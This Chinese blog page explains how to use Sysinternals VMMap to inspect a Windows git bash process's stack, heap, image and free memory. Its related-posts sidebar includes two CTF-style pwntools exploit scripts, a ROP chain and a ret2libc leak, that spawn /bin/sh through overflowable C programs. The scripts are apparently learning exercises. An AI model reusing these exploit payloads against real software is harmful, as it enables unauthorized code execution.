VMMap 查看 Process Address Space

最新推荐文章于 2024-04-11 09:13:24 发布
原创 最新推荐文章于 2024-04-11 09:13:24 发布 · 414 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。

本文通过使用VMMap工具，详细解析了Windows 10平台上gitbash进程的虚拟及物理内存分配情况，包括进程的栈区、堆区以及空闲虚拟地址空间的管理。

使用 VMMap 查看进程地址空间分配

VMMap

VMMap is a process virtual and physical memory analysis utility.
It shows a breakdown of aprocess's committed virtual memory types as well as theamount of physical memory (working set) assigned by the operating system to those types.

整体分析

分析的是 windows10 上的一个 git bash 进程。
在这里插入图片描述

进程的栈区

在这里插入图片描述

image

在 windows 上是 .exe 或者 .dll 文件。
在这里插入图片描述

bash 程序的程序逻辑划分

在这里插入图片描述

heap 区域

在这里插入图片描述

free 空闲的虚拟地址空间

在这里插入图片描述

从上图可知 free 的虚拟地址空间，被分成了 32 个 block。怎样管理这写 block 呢？可以用一个 free-list 的数据结构来管理。至于一个分配虚拟内存的需求，应该怎样满足，那方法可就多了。什么 first fit、best fit 等等。

vmmap分析内存泄露问题
一个程序员的修炼之路
06-02 5271
vmmap是sysinternals工具集中的一个工具，主要用于分析一个进程的虚拟内存和物理内存的使用情况。更有效的是，可以通过对比两个不同时间的内存使用情况的Snapshot，来查找内存泄露问题。 vmmap介绍 当你用vmmap去查看一个正在运行的进程的时候。可以看到如下图，不同类型的内存使用采用不同的颜色标明。VMMap主要列举了以下几种类型的内存使用情况： Free: 图中显示137434599232K，是不是被吓到了。这个一般是指虚拟地址空间。每个进程都有自己的虚拟地址空间，比如32位的一般为4
使用 Windows Sysinternals 工具进行故障排除
鹿鸣天涯
02-24 1053
Sysinternals 网站由Mark Russinovich于 1996 年创建，用于托管他的高级系统实用程序和技术信息。无论您是 IT 专业人员还是开发人员，您都可以找到 Sysinternals 实用程序来帮助您管理、排除故障和诊断您的 Windows 系统和应用程序。 阅读 Sysinternals 工具的官方指南，使用 Windows Sysinternals 工具进行故障排除 阅读Sysinternals 博客以获取工具更新的详细更改源 在 YouTube 上观看 Mark 的Sysin
process address space
Linux学堂
03-18 223
[img]http://dl.iteye.com/upload/attachment/439950/70a7638d-3ef9-33e7-b392-a8bcfe7b60ad.png[/img]
Linux内存管理第四章 -- 进程地址空间（Process Address Space）
猿来如此yXy
02-13 1818
文章目录Linux内存管理 -- 进程地址空间（Process Address Space） Linux内存管理 – 进程地址空间（Process Address Space）
第四章 进程地址空间（Process Address Space）
New_Worms的专栏
02-08 779
第四章主要讨论如下问题： 1、线性地址空间的构成及其各个部分的用途。（4.1） 2、与进程相关的结构mm_struct以及mm_struct的配置、初始化和释放。（4.2，4.3） 3、如何创建进程地址空间中的私有区域以及与之相关的函数，同时涉及到与进程相关的异常处理、缺页中断等。 4、介绍内核与用户空间之间如何相互正确地拷贝数据。 4.1 Linear Address Space ...
【Linux】——初识程序地址空间
m0_62179366的博客
09-10 788
所谓进程地址空间（process address space），就是从进程的视角看到的地址空间，是进程运行时所用到的虚拟地址的集合。我们看这个定义有一些懵，也不知道具体的概念。我们还是看一个例子：有一个美国的富豪，他具有10亿美元的家产，同时他有三个私生子a,b,c三个私生子并不知道彼此的存在。
Windows内存分析工具VMMap
微小冷的学习笔记
04-11 2143
【VMMap】是进程的内存分析工具，可显示进程的已提交虚拟内存类型明细，以及操作系统分配给这些类型的物理内存量。 除了内存使用情况的图形表示形式外，VMMap 还可显示摘要信息和详细的进程内存映射。 借助强大的筛选和刷新功能，可以识别进程内存使用情况的来源以及应用程序功能的内存成本。
windows vad
01-13
A VAD tree is used to keep track of each process's virtual address space efficiently. Each node within the VAD tree represents an allocated or reserved region of virtual memory for that particular ...
root@73b3ab1eab27:/ctf/work/ttpwn# cat rop.c // rop_asm.c #include <stdio.h> #include <string.h> char binsh[10]; // 内联汇编直接插入pop rdi; ret void dummy_asm() { asm volatile ( "pop %rdi;" "ret;" ); } void vulnerable_function() { char buffer[32]; printf("输入: "); fflush(stdout); gets(buffer); } int main() { strcpy(binsh, "/bin/sh"); printf("binsh's addr: %p\n", binsh); vulnerable_function(); return 0; } root@73b3ab1eab27:/ctf/work/ttpwn# cat exp6.py from pwn import * p=process('./test') context.arch='amd64' pop_rdi_ret=0x40117e system_addr=0x7ffff7ddbd70 ret_addr=0x40101a #exit_addr = 0x00007ffff7df4340 p.recvuntil(b"binsh's addr: ") bss_addr=p.recvline().strip() bss_addr=int(bss_addr, 16) offset=32+8 ropp = p64(pop_rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(system_addr) #+p64(exit_addr) payload=offset*b'A'+ropp p.sendline(payload) p.interactive() with open('payload.txt', 'wb') as ff: ff.write(payload) root@73b3ab1eab27:/ctf/work/ttpwn# python3 exp6.py [+] Starting local process './test': pid 159 [*] Switching to interactive mode 输入[*] Got EOF while reading in interactive $ pwd [*] Process './test' stopped with exit code -11 (SIGSEGV) (pid 159) [*] Got EOF while sending in interactive 这个exp有什么问题，地址都是对的，为什么老师EOF
最新发布
11-28
- **检查libc和内存映射**：引用[4]展示了获取libc基址的方法[^4]，确保脚本中地址计算正确（如`libc_base = elf.libc.address`）。使用`vmmap`在GDB中验证内存区域是否可执行。 - **日志分析**：在脚本中添加`...
还是会报错怎么办，这是我的源码： #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> int dofunc(){ char b[8] = {}; write(1,"input:",6); read(0,b,0x100); write(1,"byebye",6); return 0; } int main(){ dofunc(); return 0; } 这是我的脚本： import sys sys.path.append("/home/c1ay/.local/share/pipx/venvs/pwntools/lib/python3.13/site-packages") from pwn import * context(log_level='debug',arch='i386',os='linux') pwnfile = '../CHAPTER_2/./question_5_x86' io=process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc_file_path = '/lib/ld-linux.so.2' libc = ELF(libc_file_path) padding = 0x14 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write'] payload = flat([b'a'*padding , write_sym , return_addr, 1 , leak_func_got , 4]) delimiter = 'input:' io.sendlineafter(delimiter,payload) # 接收 io.recvuntil(b"byebye",timeout=2) if not io.connected(): log.error("Connection already closed!") else: write_addr = u32(io.recv(4)) print('write_addr = ',hex(write_addr)) write_offset = libc.symbols[leak_func_name] libc_addr = write_addr - write_offset print('libc_addr = ',hex(libc_addr)) system_offset = libc.symbols['system'] system_addr = libc_addr + system_offset print('system_addr = ',hex(system_addr)) bin_sh_offset = next(libc.search(b'/bin/sh')) bin_sh_addr = libc_addr + bin_sh_offset print('bin_sh_addr = ',hex(bin_sh_addr)) pause() gdb.attach(io) pause() payload2 = flat([b'a'*padding , system_addr , 0xdeadbeef , bin_sh_addr ]) delimiter = 'input:' io.sendlineafter(delimiter,payload2) io.interactive() 这是报错信息： Traceback (most recent call last): File "/home/c1ay/target/myAttack/charq_5_x86.py", line 29, in <module> write_addr = u32(io.recv(4)) ~~~~~~~^^^ File "/home/c1ay/.local/share/pipx/venvs/pwntools/lib/python3.13/site-packages/pwnlib/tubes/tube.py", line 106, in recv return self._recv(numb, timeout) or b'' ~~~~~~~~~~^^^^^^^^^^^^^^^ File "/home/c1ay/.local/share/pipx/venvs/pwntools/lib/python3.13/site-packages/pwnlib/tubes/tube.py", line 176, in _recv if not self.buffer and not self._fillbuffer(timeout): ~~~~~~~~~~~~~~~~^^^^^^^^^ File "/home/c1ay/.local/share/pipx/venvs/pwntools/lib/python3.13/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/home/c1ay/.local/share/pipx/venvs/pwntools/lib/python3.13/site-packages/pwnlib/tubes/process.py", line 743, in recv_raw raise EOFError EOFError
09-19
| ASLR未关闭 | `cat /proc/sys/kernel/randomize_va_space` | `setarch -R ./vuln` | #### 四、防护机制状态验证 ```bash $ checksec vuln [*] '/tmp/vuln' Arch: i386-32-little RELRO: No RELRO # 必须为No ...
(lldb) disassemble --frame error: core file does not contain 0x71223b6738
08-08
- 若显示`not in process address space`，说明是非法地址 - 若显示`---`权限，表示该区域未加载（常见于动态库加载基址不匹配） #### 3. 回溯堆栈寻找线索 即使当前帧无法反汇编，仍可分析其他帧： ```bash (lldb)...
How loader Maps DLL in to Process Address Space
-----------------------------不要在跟自己无关的事情上浪费时间
06-28 805
http://stackoverflow.com/questions/336759/how-loader-maps-dll-in-to-process-address-space What level of detail are you looking for? On the basic level, all dynamic linkers work pretty much th
Windows进程内存使用分析 --- VMMap工具使用
To Be A Linux Graphics Coder
01-12 6538
VMMap下载地址：https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap VMMap名词说明 Committed: 进程向OS宣称要使用的内存大小(在虚拟内存进行了分配)，基本上都不等于进程实际使用的物理内存大小。一是其中统计了进程所链接的所有动态库的空间，比如标准C库，而实际上OS在内存中只加载一份C库的代码段，所有进程共...
内存泄漏检测工具vmmap使用指南
xujianjun229的博客
09-11 5226
先上vmmap工具下载链接： 链接：https://pan.baidu.com/s/1EqdKrVR-BXdGAmIOmYcWYw 提取码：2af3 一、什么是内存泄漏？ 内存泄漏是指程序分配内存，然后在不再需要时不将其归还。泄漏的内存被浪费了，因为程序本身不再使用它，但在程序退出之前没有其他东西可以使用它。 高内存使用率并不总是意味着存在内存泄漏。如果您正在做的事情本身就需要大量内存，并且在操作完成后该内存被返还，那么这不是内存泄漏。 内存泄漏通常是无界。如果你继续做一些触发泄漏的事情，那么...
用内存查看工具vmmap来理解HINSTANCE和HMODULE的具体含义
tusong86的博客
06-26 735
做win32开发以来，HINSTANCE和HMODULE用到的地方很多，一般而言，HINSTANCE指的是跟exe相关的，HMODULE跟dll相关。 比如win32界面程序， int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine,
内存详解
dhpvukzt509573的博客
03-07 593
前一篇文章介绍了任务管理器中关于内存的两个重要概念：private和working set。但是内存远不止那么简单，下面我根据VMMap来详细介绍一下内存的分类。 内存是一个很复杂的系统，其中的paging file，sharable memory，reserve和commit等概念使得要算清楚一个进程到底使用了多少内存几乎成了不可能的事情了。 还好我们有VMMap这个工具，它用两个...
windows使用VMMap工具查看运行程序内存
u010637238的专栏
03-20 2611
vmmap是一个进程虚拟和物理内存分析实用程序。它显示进程提交的虚拟内存类型以及操作系统分配给这些类型的物理内存量（工作集）的细分。除了内存使用的图形化表示，vmmap还显示摘要信息和详细的进程内存映射。强大的过滤和刷新功能允许您识别进程内存使用的来源和应用程序功能的内存成本。 除了用于分析活动进程的灵活视图外，vmmap还支持以多种形式导出数据，包括保存所有信息以便重新加载的本机格式。它还包括...
内存管理（3）用户空间内存管理&内存区对象
Returns' Station
05-13 4061
进程内存管理 MmCreateProcessAddressSpace 初始化进程的系统空间部分 1.先做一些检查，检查系统是否有足够的页面 2.申请四个物理页面分别用于：页目录，超空间页表，VAD位图，工作集链表 3.初始化EPROCESS中的一些结构_MMSUPPORT Vm.MinimumWorkingSetSize; DirectoryTableBase WorkingSet
VMMAP定位内存泄露
CAir2的专栏
03-28 4486
1.启动VMMAP，配置运行程序pdb位置：Options-&gt;Configure Symbols 2.通过VMMAP，启动应用程序：File-&gt;Select Process 3.分析应用程序堆数据 注意：如果内存泄露随着时间推移，肯定相同的内存会越来越多，此时我们可以通过调用堆栈分析，如下 4.如果通过堆栈还是比较难以定位，或者VMMAP崩溃了，那么只能结合VS...
深入分析应用程序内存使用：VMMap工具解析
资源摘要信息:"VMMap 是一个专门用于分析应用程序内存使用情况的工具，包括虚拟内存和物理内存。它可以帮助程序员更好地理解他们的应用程序在运行时的内存分布，并提供优化内存使用的见解。VMMap 提供了直观的内存...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值